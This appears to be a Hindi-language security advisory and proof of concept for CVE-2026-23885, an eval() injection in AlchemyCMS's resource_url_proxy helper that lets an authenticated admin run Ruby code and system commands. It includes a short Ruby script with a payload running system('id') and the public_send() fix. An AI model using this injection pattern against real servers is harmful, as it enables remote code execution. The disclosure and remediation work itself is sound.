
CVE-2026-23885 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो AlchemyCMS में eval() इंजेक्शन के माध्यम से एक प्रमाणित RCE है, तकनीकी विश्लेषण और उपचार मार्गदर्शन के साथ।
AlchemyCMS फ्रेमवर्क में डायनामिक रूप से मूल्यांकित कोड में निर्देशों का अनुचित न्यूट्रलाइज़ेशन (CWE-95) से संबंधित एक गंभीर सुरक्षा भेद्यता खोजी गई थी। यह भेद्यता प्रशासनिक विशेषाधिकारों वाले एक प्रमाणित उपयोगकर्ता को eval() इंजेक्शन सिंक के माध्यम से होस्ट सर्वर पर मनमाना Ruby कोड और सिस्टम कमांड निष्पादित करने की अनुमति देती है।
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxyहेल्पर विधि resource_handler ऑब्जेक्ट से engine_name विशेषता को असुरक्षित रूप से संसाधित करती है। यह विशेषता बिना किसी पूर्व सैनिटाइज़ेशन या सत्यापन के सीधे Ruby eval() फ़ंक्शन में पारित की जाती है।
def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
# rubocop:disable Security/Eval निर्देश की उपस्थिति पुष्टि करती है कि eval() के उपयोग के सुरक्षा निहितार्थों को पहचाना गया था लेकिन कार्यान्वयन के दौरान उन्हें दरकिनार कर दिया गया।
यह भेद्यता AlchemyCMS प्रशासनिक इंटरफ़ेस के भीतर संसाधन-आधारित दृश्यों (जैसे, साइट्स या भाषाएँ) को प्रस्तुत करते समय ट्रिगर होती है। यदि कोई हमलावर मॉड्यूल कॉन्फ़िगरेशन या अंतर्निहित संसाधन डेटा में हेरफेर कर सकता है, तो वे निष्पादन प्राप्त कर सकते हैं।
निम्नलिखित स्क्रिप्ट संवेदनशील हेल्पर वातावरण का अनुकरण करके मनमाना कोड निष्पादन प्रदर्शित करती है:
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# पेलोड: सिस्टम 'id' कमांड निष्पादित करता है और साक्ष्य फ़ाइल बनाता है
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
निष्पादन पर, सिस्टम कमांड संसाधित होता है, जिससे हमलावर को सर्वर के वातावरण तक पहुंच प्राप्त होती है।

इस भेद्यता को निम्नलिखित पैच किए गए संस्करणों में संबोधित किया गया है:
फिक्स में अनुरोधों को इच्छित इंजन प्रॉक्सी तक सुरक्षित रूप से रूट करने के लिए eval() कॉल को public_send() से बदलना शामिल है:
Ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
CVE संदर्भ: CVE-2026-23885